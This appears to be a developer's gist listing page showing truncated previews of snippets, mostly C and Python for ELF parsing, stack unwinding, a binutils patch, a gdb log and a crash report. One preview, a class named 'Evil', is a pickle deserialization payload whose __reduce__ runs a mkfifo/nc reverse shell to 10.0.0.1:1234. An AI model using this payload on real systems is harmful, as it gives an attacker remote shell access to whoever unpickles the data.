pablogsal

#include <elf.h>
#include <execinfo.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

pablogsal

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define UNW_LOCAL_ONLY
#include <libunwind.h>

// AArch64 registers

pablogsal

#include <elf.h>
#include <execinfo.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

pablogsal

import ast


class ComparisonTransformer(ast.NodeTransformer):
    def visit_Compare(self, node):
        self.generic_visit(node)

        if len(node.ops) == 1 and len(node.comparators) == 1:
            return self.transform_single_comparison(node)
        else:

pablogsal

Attaching and calling dlopen fails:

```
(gdb) call (void*)dlopen(0, 2)                                                                                                       │>>> test test_exceptions failed -- Traceback (most recent call last):
Couldn't write extended state status: Bad address.                                                                                   │  File "/opt/_internal/cpython-3.8.13/lib/python3.8/test/test_exceptions.py", line 1256, in test_memory_error_in_PyErr_PrintEx
An error occurred while in a function called from GDB.                                                                               │    rc, out, err = script_helper.assert_python_failure("-c", code % i)
Evaluation of the expression containing the function                                                                                 │  File "/opt/_internal/cpython-3.8.13/lib/python3.8/test/support/script_helper.py", line 167, in assert_python_failure
(dlopen@plt) will be abandoned.                             

pablogsal

#include <iostream>
#include <string>
#include <vector>
#include <stdexcept>
#include <elfutils/libdw.h>
#include <elfutils/libdwfl.h>
#include <dwarf.h>
#include <fcntl.h>
#include <unistd.h>

pablogsal

diff --git a/bfd/elf.c b/bfd/elf.c
index 84a5d94281..a0bd5203f5 100644
--- a/bfd/elf.c
+++ b/bfd/elf.c
@@ -5943,6 +5943,11 @@ assign_file_positions_for_load_sections (bfd *abfd,
          link_info->callbacks->info ("%X");
        }

+       /* If we have a PT_LOAD segment with no sections that is empty,
+          then we need to drop it or some loaders will complain.  */

pablogsal

#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#include <fcntl.h>

pablogsal

import pickle
import base64
import os

class Evil:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':

pablogsal

Process:         a.out [63465]
Path:            /Users/USER/*/a.out
Load Address:    0x100000000
Identifier:      a.out
Version:         ???
Code Type:       ARM64
Platform:        macOS
Parent Process:  debugserver [63466]

Date/Time:       2023-06-14 18:19:15.597 +0100